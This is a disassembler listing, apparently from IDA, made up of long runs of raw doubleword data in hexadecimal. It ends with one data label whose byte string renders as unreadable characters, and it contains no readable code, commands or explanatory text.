dd 0BDA4C83Fh, 17070B7Eh, 2E4357CBh, 30AB54A5h, 924D2D5Ch
dd 0B0BCD107h, 0FB37F17Dh, 3B21A5F3h, 0B04EA750h, 0F213E7CCh
dd 680460A3h, 20CDBD17h, 402C51F2h, 884E3A84h, 0C9F72C01h
dd 0A76137E8h, 0C3F0DC1h, 7C41A40Ch, 59F2122Dh, 0F99083F0h
dd 0C6E144B4h, 79043095h, 6F0C1E00h, 48C0A087h, 0B0EF0531h
dd 90F30E23h, 0F0167660h, 98047F82h, 9CE256F8h, 30749C00h
dd 122BD682h, 0B5FDF900h, 809DD8F7h, 0E866B54Ch, 3DD9DF62h
dd 0DACAE0BDh, 96A20EF2h, 822DE93h, 0D560D7E6h, 0C0005DB4h
dd 500C4034h, 0BD4C689h, 218F276Bh, 0EAEC4464h, 0BAEE4000h
dd 0EBBB9661h, 2627EF9h, 121760E7h, 0BF859EA6h, 0C27CA794h
dd 77735AEBh, 4596BC18h
dd 0B9492200h, 0CDA02394h, 0E3174F48h, 3C853EF8h, 0B820CE72h
dd 0CB4221h, 0D71093D0h, 0FB66743h, 8C47ED00h, 8559E1CEh
dd 38F19068h, 0A44C7099h, 0AD370593h, 9D00A3Fh, 0A47684C0h
dd 8CE31318h, 0C8A00116h, 5600E3DCh, 63DE7D4Bh, 0C8D881h
dd 9DA38B91h, 8CF324ADh, 7F243B50h, 0C6802494h, 0CA41385Dh
dd 77B017ACh, 0D46CC82Ch, 423F4Ch, 7BD87F87h, 35BB3Eh
dd 6AE46DB3h, 0A1705AFFh, 0CC5ECEE5h, 0B9836C40h, 91589468h
dd 0AEBC00DCh, 71ED0CC1h, 94C1FA2h, 8C48CCB5h, 40C0500Ah
dd 5F5B6990h, 0C874E5A3h, 24929559h, 82682184h, 0D8DCD5E4h
dd 0D4B9B064h, 0A8CE942Dh, 0E00937Bh, 447982DEh, 0F87FDFE2h
dd 0AC0702B8h, 4D4EBF76h, 0DE09855h, 8A940066h, 0FAC233B1h
dd 7C3DDD7Ah, 49358569h, 10E84D71h, 19735BA0h, 1103D5B8h
dd 1FC72CD7h, 37C1CF9Ah, 0AD701C75h, 4850EE4Bh, 8C00F0ADh
dd 655E3223h, 0C500150Dh, 7722CA85h, 0CE877Ah, 8F8367E2h
dd 0B7DD884Ah, 43E6B207h, 0DB764D32h, 21646008h, 81B7D59Dh
dd 50490F0Ch, 10D3502Bh, 699D1CEh, 4A7EF8DCh, 2C94658h
dd 0E6BDB7D2h, 84EE30EBh, 700FC83h, 505D7F39h, 0D4386860h
dd 7B33864h, 9D1AF92Dh, 0E107A085h, 0CF0115DBh, 0A87F8911h
dd 318C4A7Ch, 0FB7169F1h, 0FD743E00h, 7AA96652h, 6C28C07Dh
dd 7376D368h, 212A31C0h, 0CD1E55Bh, 0F992BBD4h, 21C17509h
dd 765B398Ah, 54AFDCh, 73AEAA22h, 49854312h, 64D8E400h
dd 0BDFD7B0Dh, 4580A0BAh, 0F3688003h, 1987D900h, 0B221093Fh
dd 5E7D0E0Ah, 78ACF79Eh, 7918CB61h, 0E11A2F98h, 7A9F0C7Eh
dd 82100DECh, 4400BE76h, 3D2D99DBh, 3297896h, 635932A1h
dd 0ED80E118h, 77774A97h, 0F100ABE8h, 1B546224h, 0EC851C47h
dd 1C5E5819h, 2FC0F801h, 60E0F4B4h, 0BE3BB69Fh, 4280033h
dd 0B7610C78h, 3A530077h, 31124C42h, 0D70CB4A5h, 8CC2D3Eh
dd 6D21C05Bh, 706312C4h, 0B2003AB8h, 0ED019D39h, 183BDD9Fh
dd 288B9A2Ah, 230097A2h, 77FCE9E2h, 63F4B61Eh, 3B9B087Eh
dd 0BB72003h, 0A93EE6E2h, 3DF09F76h, 378F4CAh, 0DAA25C53h
dd 78A624B3h, 4ADF1A00h, 0ABDEC019h, 76A93137h, 80A1F108h
dd 4AE66320h, 5C30A374h, 2004FDAh, 0D2B0ED8h, 2960D267h
dd 0C8D1BB49h, 0D4B0CEEAh, 0D58CE22h, 86BC9E0h, 26072C0Ch
dd 3877C18Ah, 0AB006CF4h, 39B328C7h, 20C93D4Bh, 29CD0181h
dd 1D200FD8h, 0C380A4F2h, 0EECCDC10h, 0DB12B0C7h, 0B00FC85h
dd 6FB223C4h, 942C32h, 2B035BFAh, 689072CCh, 1D26A13Bh
dd 51074EC3h, 0A900743Fh, 0E7F817h, 0B03A9C09h, 5720D0D1h
dd 5542B200h, 91E326CFh, 7F6A0049h, 13B7B07h, 7E010C30h
dd 5683D7C2h, 2AF81594h, 4D3A0340h, 0E7A2A17Ah, 0F6F882F3h
dd 9A76E1EAh, 0BF63FB00h, 45895A25h, 94521C5Dh, 9DAA00C1h
dd 0E99088A6h, 0BBEF6600h, 62C43BCBh, 1C87004Eh, 371472EBh
dd 52002746h, 40AC6CF8h, 89FBC6h, 508D152Bh, 79FD936h
dd 9C717501h, 0ABFE8C7Dh, 10F42E0h, 0F5037CD3h, 0D2235293h
dd 1C41DA80h, 0A207437Ah, 9A7EC2EBh, 9043C3F7h, 0DA2000F6h
dd 990379E5h, 2D7024A3h, 7DB81226h, 130CC913h, 6D14804h
dd 8A16E519h, 0AB131021h, 9D1EBF51h, 0C230AC6h, 18F73109h
dd 4049CB20h, 86DC2181h, 28E2A507h, 8C70F498h, 36FF6DC6h
dd 51B033EAh, 0A5088B28h, 0E4998501h, 5F0D3005h, 30676842h
dd 0D7117AA0h, 96884BA2h, 7A09E681h, 28DCA85Dh, 0C841607Ch
dd 6C1B186h, 5EFA9018h, 1E18A158h, 4019D0A2h, 0DA8AD427h
dd 5900F238h, 0D5B32F7h, 0F29F671h, 7FA6486Ch, 64B634A0h
dd 0C600D8C9h, 9587461Ch, 4AF2A0Ah, 887CB3B2h, 5344807Eh
dd 0E20E7D71h, 0A0229CBBh, 32259FD2h, 5D64006Ch, 21CA80F7h
dd 6A014A40h, 0C45C021Ch, 89CC2388h, 0F6B400AFh, 9CC80C90h
dd 2A1E03D0h, 0D880FB6Ch, 0E63BAD82h, 0E00400FEh, 4C726755h
dd 0B380A84h, 0BC4100C5h, 0F3A43338h, 0B3F10769h, 0C7B19B54h
dd 995F50A3h, 16F470B6h, 1981100h, 9E680E66h, 0E82400ABh
dd 0D54BB131h, 3F007265h, 1F3098A6h, 6801FAE1h, 0F60411ADh
dd 4D5F7B18h, 0E50510h, 0B02B90E8h, 0A67F58C3h, 929BD003h
dd 0E17BB2DCh, 2888E53Fh, 0AF90EE94h, 446B6884h, 51443E87h
dd 42CB4802h, 0B3248FF6h, 48FFE427h, 15198037h, 9572A56h
dd 0DDA9C500h, 6F124D65h, 93D748E2h, 3BFA6A00h, 8EF33C67h
dd 75CA1600h, 0ED690E70h, 0E9A000FFh, 7B2462DBh, 8F071B39h
dd 888D65B3h, 0FFAF4A70h, 0CF7701BCh, 0ADC2F15Bh, 8CABE441h
dd 6726BE00h, 0D1D7A975h, 19CFEA6h, 0D861D07h, 706DD47Fh
dd 97032ADEh, 0D58B0E45h, 3A29E062h, 0E0A77B9h, 0CA24BF57h
dd 11523E86h, 0D6BE3900h, 0EB6B0E93h, 0CA95078Bh, 0B0DA674Eh
dd 8A5BDA2h, 460F9170h, 8025BAA7h, 0DD316488h, 560F0A04h
dd 80D8E1E4h, 0AC43B783h, 0E7007EF3h, 7F8C364Ch, 7D171C5h
dd 0B24B4FDEh, 0EB006B53h, 65212B39h, 43D9A1Ch, 0A901040h
dd 1218273Bh, 2EECFAh, 5B508C00h, 0E07AC83h, 525EF86Ah
dd 0E4C85580h, 16E30389h, 7B13ADD6h, 45B0ECC3h, 8D00A0E2h
dd 402D73B6h, 886FE6h, 633ABBDAh, 54C9267Eh, 6E15AA00h
dd 5DDE3718h, 9EC7059h, 0A1662A7h, 323C7C06h, 0BCCB4F02h
dd 407220D7h, 1D0FC9Ah, 0F151AC85h, 70695E3Fh, 1E009979h
dd 7EF6F4B0h, 0E1D3EAh, 0E2C89D7Dh, 9622D4BCh, 5F6CEC00h
dd 0E68F60AFh, 9DF500B9h, 66C846EDh, 3A00953Bh, 0B1D3DA07h
dd 0B8B428h, 4B9418CDh, 0CCA312DBh, 4E23F91Ch, 5490DC0h
dd 59A2CAh, 7C217786h, 0F1AAFA01h, 14DFBF00h, 97643870h
dd 8DB7000Ah, 4D18E61Fh, 913DE782h, 8E5580BEh, 0BB98860h
dd 0CAC609DCh, 2C80359Fh, 76AE3753h, 46CFEB00h, 774E4CDDh
dd 0D90400D3h, 2C926A6Fh, 6603E61Ch, 7419B578h, 5024E845h
dd 579D0052h, 960D012Bh, 0B200C294h, 0D4BF72F1h, 0A0C5E8E4h
dd 0F874A688h, 5B902Eh, 0A8437942h, 3ED0F395h, 0F59ED0Bh
dd 18D48055h, 5A5F611h, 0C4E066D4h, 43C080E9h, 0C50042DBh
dd 155BF991h, 3D052901h, 0FBDC4ADDh, 0D8E4170Eh, 0C8FAD040h
dd 7004468h, 0B71AEA99h, 535870h, 0FC182D88h, 6ED3B16Dh
dd 0C120AC03h, 0D921100Ch, 0BECD7BDh, 0EF9E0087h, 0D91CE21Fh
dd 700F6F26h, 214B5FDEh, 0D43E7A8Bh, 0EA86FCh, 0D55E9C14h
dd 2BD32FE3h, 0C621DE00h, 35B150FDh, 0A69E0394h, 2EB041A5h
dd 3356C08Dh, 0AE00E193h, 628606Dh, 12ACDFh, 5042A1ABh
dd 0E6FD82BBh, 0EB205800h, 5136B87Ch, 0C757005Dh, 592153EEh
dd 6F0BDE1Ch, 80CDC35Eh, 7D0F2345h, 0EEF61D95h, 5255C0A4h
dd 2FBBD06Fh, 4621107h, 0AD749869h, 0F9091E83h, 0B7D13AA7h
dd 371DF4h, 0E0BFD43Bh, 6A6D566Ch, 0EF07D171h, 647E54F5h
dd 0EEFC7A70h, 63E3009Ah, 999EC01Ch, 70003F93h, 8EC75904h
dd 7BD86Bh, 0B63EA62h, 0A9441E5Ch, 80F77C3Fh, 647D7F54h
dd 306FFB49h, 0DF1CA251h, 0D700A7FEh, 93CA4146h, 0C23999h
dd 79CBEEAEh, 0C7252470h, 1C3EE500h, 0DBD58ACAh, 0BCE00Ch
dd 0DD1B7E9Bh, 0A227EA30h, 7728F30Bh, 1800802Ah, 0EEAD09h
dd 5A9E0E0Bh, 0D92291D7h, 92F6887Fh, 0F1941050h, 7C5BFC00h
dd 0FFC53897h, 24D70ADh, 6268B365h, 20986EB2h, 0B6003BDEh
dd 7907F21Fh, 1840F025h
dd 10F1BF92h, 0C039C942h, 0B0ED015Ah, 3451B6ACh, 0F58AF8h
dd 40B8E835h, 9BEFBCB1h, 2C5EE724h, 3DF46E00h, 0F5A48BBh
dd 0F62F52E5h, 0B4CB95C0h, 400651Ah, 974B3F81h, 3EA1BDE3h
dd 3381F4A8h, 4359A372h, 470CF8EFh, 30B2CD00h, 0DC804C6Ah
dd 9087FEFFh, 55E80091h, 0A93CCAE1h, 8C00ED9Fh, 0E99B01CFh
dd 1583396h, 0FE1881B0h, 0C4EF0735h, 7639ACB8h, 0C28D008Eh
dd 4DE886A4h, 0BE1F0121h, 0A01D58C7h, 4FD6205Ah, 0C52E3B00h
dd 0B183F786h, 0EE6379C0h, 7AA100D5h, 1AC4FACCh, 709D57A9h
dd 31FF3AD1h, 40F19109h, 0BD168500h, 5400DDD6h, 712A2772h
dd 6CC281h, 0E3CBB1F2h, 8D631786h, 0EB8EF000h, 6FDB4A7Ah
dd 486D00BFh, 5B42A73Ch, 0A000B32h, 2F4EC06Ch, 2CE4DFh
dd 0CC2E3A1Eh, 94FA7A27h, 9E26C300h, 3EADD895h, 0EBF4000Fh
dd 0E92964DAh, 620034FCh, 0CF3EAF0h, 4892A1h, 49EE252h
dd 67023615h, 593D7700h, 327FB012h, 94144806h, 1B64600Eh
dd 98D8E260h, 54004EE5h, 0D7CA08C3h, 0B58E4Bh, 3277D45Ah
dd 0C80A7DA0h, 0FCFB651Dh, 90EE94h, 6E2973FAh, 9B8B066h
dd 0AB196AD0h, 0C7A39400h, 1600ED9Bh, 8E3BFB37h, 0EAA7BBh
dd 0BC303E59h, 0E3859A3Fh, 0E058700h, 0F949743Ah, 679539BEh
dd 76D9C500h, 8F4DF01Ah, 6ED00B00h, 0B59B360Ah, 0E50F018Dh
dd 588ACF38h, 0F0DDC515h, 7B715445h, 4046CE00h, 0A98969C2h
dd 82D800EAh, 0E16C5BB7h, 0BB18D6B1h, 9C886119h, 70040F5Ah
dd 56400B08h, 30E24357h, 8AAB7B24h, 0D4200A00h, 70CE5A7h
dd 659B5D8Ch, 1226A0EBh, 7E309181h, 0D96819FFh, 4A1C006Eh
dd 5BA759E7h, 3801C20Ah, 49EF0EBCh, 83D8DB18h, 0D2820076h
dd 5398C71Bh, 7F0EBFE5h, 4789C3DCh, 52F05A02h, 1DCC0972h
dd 3288A1h, 585FE9BAh, 3A3E04C8h, 5868017h, 0C2388CD8h
dd 7E960752h, 3001350Ch, 8161FB87h, 0C00D5600h, 9D8D531Dh
dd 0E69907B6h, 3FA0E7h, 3C1AD528h, 2042E92Eh, 0B7DE7100h
dd 0B139C7h, 77E23344h, 57498F09h, 3502AF07h, 24702ADAh
dd 26C02FA2h, 0EC1DBBh, 0D8C89327h, 7400CCD5h, 0C54B8722h
dd 0C3EFBAh, 39693044h, 615B493h, 5BA0770Fh, 0D93641C0h
dd 9BE05497h, 0CF225h, 0F612920Eh, 0E5D6F153h, 36448900h
dd 19C7B65Dh, 2624013Ah, 0B557F3BBh, 2E38CCE4h, 50CBE800h
dd 58D2E6A9h, 0B62A0EEAh, 0C8606FC4h, 0A8E9DF4Ah, 6ACC6100h
dd 0A6E21D59h, 0D95C000Ah, 0FBC9E48Ch, 0F801C04Fh, 0DE218A2Fh
dd 319D3DD2h, 0AC74C0B6h, 69F5B589h, 0D8A7B200h, 0C8071103h
dd 0C1633138h, 71AC0C28h, 0B857DC25h, 82095100h, 0A0A2C8DCh
dd 391C002Fh, 7DA87461h, 0BC1EDD01h, 0E5806358h, 0B666ECCDh
dd 456A03A7h, 148A623Fh, 4FDEF6C0h, 0AE385D00h, 8D658B1Fh
dd 0A6FC0010h, 0C3BDE112h, 441E9C97h, 25C089AAh, 1D428C81h
dd 0C79300B3h, 648E582Ch, 0BA0004A6h, 6D1E5716h, 0B2E823h
dd 9183A093h, 0D3456401h, 0CC67B600h, 9CAF2125h, 1FBA00B7h
dd 23C29EECh, 24E028D2h, 0BE72C300h, 0A554B66Ch, 0B11F0082h
dd 0C87D3E14h, 90004499h, 5ADEE0A2h, 0C064E509h, 0FE5625E1h
dd 0D6004AFFh, 696FF580h, 0E08A97h, 0B308905Ch, 264F286Eh
dd 0E9D21900h, 7DCC0516h, 54E0007Ch, 68A2EB78h, 0AE044697h
dd 0A7D39EFBh, 7F7A000h, 0DE00ECF9h, 4B618379h, 1CBDD6h
dd 4299B219h, 9039F93h, 0F09888C3h, 63DAE0D9h, 0CB2200FDh
dd 47B77754h, 0EA16E2A9h, 87006D0Bh, 6B60BF7Fh, 9CD93DCDh
dd 1C8D9780h, 46472C8Ch, 8ECA7D0Fh, 7A63E7C0h, 6E5E6260h
dd 0F11E0036h, 2895E62Bh, 0A40FA7B0h, 80485B05h, 7E24BF4Eh
dd 12E6E5h, 0F20C5AB7h, 0E7F0AEB6h, 5DAF1400h, 3C37053Eh
dd 19F0E11Ah, 63750743h, 813F8B09h, 0EB6A039Ch, 0C6EF87F8h
dd 73BBB400h, 0F43E3348h, 0B3AB00C1h, 1E195985h, 0A200CEC3h
dd 88E63B95h, 755CB90Ch, 22550215h, 0A12C9C0Dh, 0D2A95440h
dd 0C6E54700h, 77CD9526h, 86B2017Ah, 0D5BCCA91h, 0BAC8DC12h
dd 0BD8F3501h, 0C2AA6766h, 30432C4h, 0BCDCB16Ch, 9C2A42D6h
dd 1A00D89Dh, 40456E07h, 0ECF18194h, 0D5350059h, 256FB9AAh
dd 0D4E6A3FBh, 7226103h, 0E0C1DA7Dh, 32D12F5h, 0FD57320h
dd 3C9ADECBh, 1F95F080h, 9B00EA02h, 0B922D88Eh, 1C607175h
dd 822EE557h, 0BCD94485h, 6474D8C0h, 991CC97Dh, 3A40C503h
dd 5E535029h, 0D58D0016h, 0CC24A840h, 0DB1D3D7Eh, 0BF4242C5h
dd 0E0F4D448h, 982DF7h, 15CAD137h, 0AA012BC8h, 68D9EF00h
dd 25DD076Bh, 3E3B007Bh, 0D0DB754Eh, 0C00DECAh, 38412297h
dd 2956DEBh, 0DFEA4AFh, 584001F8h, 8A095ED5h, 0E0E331h
dd 73692FB8h, 0CD7E00D1h, 930AA37h, 7A14085Ch, 0F89C14h
dd 0A86A8ABCh, 300297BBh, 0FC48DC81h, 1CB0A2D5h, 3745491Ch
dd 4CDBB107h, 8B84CCE1h, 984087E9h, 736529C2h, 1EF47E30h
dd 64FCBA1h, 2086DA48h, 9BC14600h, 5122348Bh, 19211840h
dd 7B367858h, 87998909h, 0A002078h, 98CBF5F6h, 6F5E0058h
dd 0EBBD96FBh, 55001B62h, 89BBD373h, 5082DC7h, 922F9D05h
dd 0FF8C00DFh, 1EC9B894h, 4C001B77h, 9F85076Ch, 3B192A9Dh
dd 0C4063153h, 3082E077h, 7C135A02h, 806B7354h, 950EDCC0h
dd 0A8360040h, 0F3EC0AB8h, 0D0EE6D77h, 67E1CB01h, 0C3BB7339h
dd 117F7F4h, 8026BD29h, 4031068Fh, 73E98398h, 0AAB1930Ch
dd 9BE004h, 0E3AFB536h, 0A85BE1B0h, 9D665317h, 788D4B00h
dd 0FA56FCh, 62B4A96Bh, 2CC4683Ch, 371CAF00h, 0D57BA03Ah
dd 0FC4F78BFh, 12F61B82h, 2FE15873h, 99A281FEh, 1F776A93h
dd 0A2E45F31h, 6E830098h, 0E3FC1124h, 490029D4h, 0D29E934Eh
dd 7D360BC5h, 0AC882839h, 72E50987h, 7D0ACBDDh, 0A2B904D0h
dd 0D5F10097h, 101267h, 0C254C90Bh, 1F3DB4FFh, 4A22CCE3h
dd 0BD181103h, 0BAD28D1Eh, 37D78015h, 0F047967h, 65FE7DC7h
dd 0C563A4AEh, 1FD8CF58h, 431EEEB8h, 0D08069AFh, 2544BE1h
dd 0C4514852h, 0A2992E00h, 59490C3Fh, 7B2DC61Dh, 0A702B75Eh
dd 412FAC12h, 0D6CC2928h, 772405A6h, 801D8819h, 0ED33CC04h
dd 3ABEE700h, 0F5C3095Bh, 560780BBh, 0C5302203h, 986C34D1h
dd 0F0271D02h, 4B0F296h, 63A5E635h, 4D0C813Fh, 7BA88124h
dd 0CBBAA272h, 8D28C8h, 0CD202F31h, 0FEE99A03h, 564B2200h
dd 0E7F3BE63h, 48ADECC2h, 0E4500438h, 0F5BC0319h, 8553745Bh
dd 9FCDA000h, 8462349Ah, 2C134CEDh, 30BC6F30h, 511FF1EAh
dd 0AC0CEFDh, 83285663h, 0A5C503C1h, 803BB513h, 0FC06BF89h
dd 700EEB92h, 805668EAh, 15C744BCh, 87CE9h, 7D06882Ah
dd 0E5F776D4h, 6C015200h, 0A3BD377h, 0BB270AE9h, 808CDC9Ch
dd 0D0285E7Fh, 500AAFDh, 802E7AE5h, 0EB21668h, 2D93DAFAh
dd 700E7347h, 0B7F3EE0Ah, 6C74880Bh, 5B70030h, 6256AEh
dd 0C0A42A82h, 28834375h, 7CC5B909h, 0F75B83DFh, 0CC4AC039h
dd 48110092h, 0C75A8302h, 0F6010734h, 42A79C2Bh, 0F4308991h
dd 26EB007Dh, 5A77524Fh, 0C7000C18h, 0C0F6FBF2h, 3D031997h
dd 0F665AEh, 748FE93Ah, 67E00AB0h, 0BC11B400h, 725D9087h
dd 387C80h, 0FAFEBD84h, 29EB7EB0h, 66F62A00h, 0C4943E4Fh
dd 0F4270CC0h, 640AA7F0h, 0AB355C00h, 9A01EEEh, 940A00E2h
dd 0C069F30h, 81E4E88Ch, 566B5901h, 0CB44B77Dh, 3B6EAE0h
dd 0A4B408D6h, 8F81D3C8h
dd 345DD040h, 5B7CF438h, 7206E0FCh, 38317122h, 82990201h
dd 0BA0A342Eh, 0BF06E841h, 0AF8834h, 0CEF06C4Dh, 4166E999h
dd 3A00D5F0h, 0AD43BB6Bh, 0B3EB1Ah, 9060861Ch, 111B70Eh
dd 832B7F00h, 96CFF56Bh, 0FD6700E6h, 93FED34Ah, 0F098540Fh
dd 0C57FEB07h, 20F08C3Eh, 373BD4C0h, 8678AC28h, 30610A0h
dd 1E69B9F2h, 2E47120h, 0ACDC04B7h, 2EE2F3D7h, 10281CA1h
dd 5906D374h, 7043C567h, 0AB730E11h, 0D000C41Fh, 0E2FDD7D4h
dd 37E148D8h, 74872C9Ch, 0E3283EEFh, 2F3F0D0Ch, 0D7342267h
dd 0CD0C1980h, 0B71D2CF8h, 2043616Eh, 0B8A5EFE5h, 2E464h
dd 0F38A7378h, 68D62DF9h, 9150C701h, 8E7E69C8h, 7BA9DCh
dd 19DF6A21h, 67A41EA2h, 0AC152A01h, 71F0384h, 0B06DB443h
dd 48AE69D6h, 0E90138E1h, 0DEC4F3C2h, 0A6D5C4ADh, 0B6BBBD18h
dd 14DC6F9h, 0CE985066h, 0F8D4AD7Eh, 400EE9Eh, 0D576E1E5h
dd 39A4ED48h, 88541469h, 0A8EB056Dh, 807DB4D9h, 8C2E73E0h
dd 0B0785100h, 0D2ED9A4Ch, 313D0070h, 58BC9879h, 4603C919h
dd 0B93CD3C4h, 0E7A1D0F3h, 69660C4Bh, 0A6596C15h, 0B9D6A204h
dd 0BAC024EAh, 195FB775h, 205B8BB6h, 0D560E258h, 8C2E767Fh
dd 1E039A69h, 28608BB3h, 9D0F21h, 1301657Eh, 765554F6h
dd 2B05F200h, 78D2F31Bh, 0F5768Ch, 25333D14h, 60D749DEh
dd 0DCB9892Ah, 0AF6B441Eh, 6F30E03Dh, 294A1Ah, 31B92C4Bh
dd 0D0E6CCBh, 0E9A3E301h, 6E379A68h, 0A9F3C180h, 7BA1CD18h
dd 74132600h, 8D3D2819h, 24608862h, 9469A968h, 0DCFFA506h
dd 61660011h, 657FE270h, 4803C223h, 1226413Fh, 0EFF2D80Eh
dd 24BA00BFh, 3ED05903h, 0B3FEB298h, 0E5C2048h, 0E0923F83h
dd 46E36B16h, 0D9BA1E7Dh, 2101B93Ch, 989CD2BCh, 55EAC85Ch
dd 4259B300h, 0B0D546DDh, 1E470052h, 790F3137h, 260F913Ch
dd 38A769Eh, 72073h, 0A5B51149h, 9438A7BCh, 19DD8430h
dd 1F96410h, 0F7850648h, 42CDD0E8h, 0F7FC2EB7h, 1E1EFB17h
dd 61A30E43h, 4A78063Ah, 612F7A88h, 76ED4101h, 5C31ABC4h
dd 0C9012087h, 500592Eh, 0A0AD3DF3h, 0A82C3631h, 7FDC7C78h
dd 0BE8300D2h, 8C21C32Eh, 2500C73Dh, 5582DC97h, 39725E3Ah
dd 519C2681h, 0F29A421h, 61805CF5h, 0AF97B082h, 422F600h
dd 0C78FDB53h, 0B5FA5Bh, 9C09C168h, 6BA90CB1h, 97ACC000h
dd 698B2B85h, 147D004Fh, 950A7F92h, 0ED4C499Ch, 6AB41FC9h
dd 9FA38780h, 0DC90624h, 0F9BF3461h, 327FE051h, 64CCE200h
dd 629D80B7h, 7DF3E9C4h, 2460721h, 0C18F1287h, 83696388h
dd 5E49818h, 3E6000F3h, 0F7937B61h, 0EA35CD34h, 0B08058BFh
dd 7AE7C084h, 63C2006Fh, 0C8E67FEEh, 6207EDB7h, 6574B6BEh
dd 238AAECEh, 0FF0D94h, 0B50199B8h, 655F406Ah, 5E91E00Eh
dd 86B7A095h, 288ED4BAh, 0D9BBC4h, 7451BC1Ah, 0AA680E7Eh
dd 0D9E158C0h, 907F2h, 49C6903h, 0C4DCE6BAh, 6C65C205h
dd 8FC4F418h, 8008C87h, 6DDB09h, 0CEE5A283h, 9B9D71F0h
dd 0CD18E663h, 0F2080005h, 40C81A9h, 57004131h, 92EAD119h
dd 8DFA0h, 0D888EBDBh, 760E9D63h, 0F300F7FEh, 16CB5FF2h
dd 0F6ECC4h, 0B87EBC86h, 76DA225Ah, 0F238EA60h, 75C19E0Eh
dd 0A330C7C3h, 0ED67906Dh, 1D30866Ch, 9D8748FAh, 0DAEA0684h
dd 0A916936Fh, 751F497Ah, 0F032F1CDh, 6B5C134h, 0EB991h
dd 1D280D35h, 3CAF780h, 0FF59A2DFh, 61E94AC2h, 0DB9440F4h
dd 0EA001370h, 0C3C95B2Bh, 4F1E0Ah, 0BD33D914h, 26348AEh
dd 0D7023790h, 7C29C784h, 828180C3h, 650D5575h, 30D9107Fh
dd 0AEE5E404h, 982710C0h, 7A4F7Bh, 5E6BE85Ch, 0B52D4A97h
dd 0E3399178h, 9A8F24D2h, 29B1BF0Ch, 12B940D4h, 7428A100h
dd 47B4DE86h, 0F4EA00B6h, 23146ECh, 3401B072h, 0FE103A43h
dd 0F7F4A656h, 0A31C0367h, 0AA7F667Bh, 0FD7FFF8h, 2B00F17Bh
dd 0C8837075h, 5CBACCF9h, 17FB5EDh, 63A6C507h, 0E4919861h
dd 0D977AB33h, 0BCC9A000h, 0DCD19C39h, 0BE8700C5h, 0FF302F98h
dd 6173828h, 0A600C132h, 3A5CDAC8h, 62AB593Eh, 427B731Fh
dd 0EB8874A6h, 635DBE0h, 0C1ACA503h, 0E5BF658Bh, 6F80941Ch
dd 0FDFA5CC9h, 7A850A64h, 0F35302h, 7D2F42Dh, 0FE00DF5Ah
dd 0AAE37142h, 744D49h, 353C208Fh, 4770410Bh, 8BA6C200h
dd 132806CFh, 5A2B0FEDh, 69A11CE0h, 0E8EFA0BDh, 9D00CA6Fh
dd 73D1DFBFh, 411562h, 0FE33A117h, 0A3E0E6F6h, 802A6000h
dd 66FA6A05h, 0E4B309B0h, 8980A143h, 0F1D8638Bh, 0ECAA8A28h
dd 9F7E4500h, 8DB4C99Eh, 0E1520E8Fh, 35C02947h, 5ACB84B2h
dd 3C0759FAh, 1AA1C515h, 0A1129882h, 0EEEA24E4h, 2B2EF8h
dd 0DF33C072h, 370D92D8h, 0F03A3E01h, 7C905079h, 0FE9748D4h
dd 8E60022Fh, 0E7875B35h, 3776B2E0h, 0F5784A00h, 61EBA6A7h
dd 49ED1C54h, 8D400020h, 371050DDh, 7B9B6D07h, 7540625Fh
dd 0B0A38E95h, 0C8A960EAh, 9E30259h, 0A2E81D12h, 0A2001C12h
dd 4990141h, 472C00F0h, 0C7E3B5D9h, 0CE5C0588h, 464500C7h
dd 61B8B994h, 0C2A2001Ch, 0D333F50Fh, 93606E83h, 0A98D7AC8h
dd 20501F78h, 9F5C8E4Ah, 0D3BD5640h, 8B00A4E2h, 0ED4BF7Dh
dd 9454A5h, 4966C0F9h, 3A254092h, 60EB1200h, 41B95F36h
dd 0B3CA00A3h, 0E82779C1h, 9B007FD8h, 0E6CCD4F3h, 38175D7Ah
dd 0DF8030A0h, 3DCF1BF9h, 480005DEh, 58CB7E44h, 0A037BD85h
dd 0FA0CE0D3h, 0BFF70097h, 4F805E47h, 0DF015B53h, 4160B6D4h
dd 0EBC8247Ah, 2011006Fh, 365F3BF9h, 2800144Dh, 40B7BEFDh
dd 701AA4h, 8ADE4CC1h, 0F9AD96C7h, 0DE4D604h, 14D037B7h
dd 36C09h, 0EE4FF51Ah, 4114305h, 69227900h, 19A15ABh, 0D2FE00FFh
dd 526FCA36h, 0ED3E8FE4h, 6ED50075h, 43D45508h, 0A5AE004Fh
dd 6A225066h, 0DB05FB3Ch, 371389BCh, 0C03F5B82h, 0EE6149D0h
dd 2E1B5C6Ah, 66F9AC03h, 0B0D8C2AFh, 50242D9Dh, 0AA00D8B9h
dd 47D04D58h, 0D4D70030h, 34DCC176h, 18607A3Bh, 9AF8FDC8h
dd 3239131Dh, 884D00D6h, 6D60E93Fh, 8F462509h, 4F78A0B9h
dd 7CC6959Ah, 54A60AE7h, 3F45B99h, 7D36AF3Ch, 20FFF7AFh
dd 73E812F4h, 0D976B700h, 0E6220CF3h, 0BCC33F2Ah, 0B2273509h
dd 9D6938A0h, 38C05FACh, 64AF8567h, 89F0089h, 0F4D9AD9Ch
dd 0CF0081E0h, 2FAEA92Dh, 0B65FEEh, 6EDB337h, 0DD7726F3h
dd 8C3C4700h, 0D414CE2Eh, 0FFF2005Ch, 0E41E4D27h, 2F00F5EBh
dd 85D2CA23h, 0FE564C22h, 0E3F70039h, 0C4C6595Bh, 30E9B537h
dd 0EB00CEC6h, 621A9540h, 0BEF478h, 0A21860E6h, 0B49ED598h
dd 58C72400h, 0B1FB8B2Ah, 0EAD314C3h, 0EC009087h, 893AEA1h
dd 740356D4h, 0FD0D499Dh, 7E67F052h, 0F90E2BEh, 0DA359239h
dd 7D5DB460h, 0F701BCAAh, 2CA4B870h, 42ECFDF2h, 3A1600C5h
dd 60EE6CC3h, 0C6004CA6h, 2202BB17h, 9C07EBh, 0F73BFF3Eh
dd 0C91C0647h, 0B3EE6D09h, 0BA9427CFh, 0B25A150h, 39721FF8h
dd 2BE280B1h, 49E8C723h, 7EDB962Fh, 8FD8015Ch, 0D79DEFCBh
dd 762DDEA0h, 3A872303h, 0E7AA919Ah, 0FF80F070h, 1037FF2h
dd 684F9ECEh, 245A29AFh, 1A1C34A4h, 0B3C0F51Ch, 0EB7C0AFFh
dd 60ED5858h, 8C6C3F00h, 0CEFEF6FBh, 0EF69B91Dh, 2800BD12h
dd 7472B2B6h, 0FE6006Fh, 0FC09024Fh, 0C1003436h, 5B10E5A0h
dd 38AD972h, 0D71B4BF5h, 48A8F983h, 333CDBA2h, 267001C9h
dd 4FFCBA97h
dd 0CFDFE0h, 0FE60C840h, 0A3E2BA2h
db 0
a_JqU0DxN db 'ы.$├÷ [·0╩dXв"n',0 ; DATA XREF: ___:off_43859Co
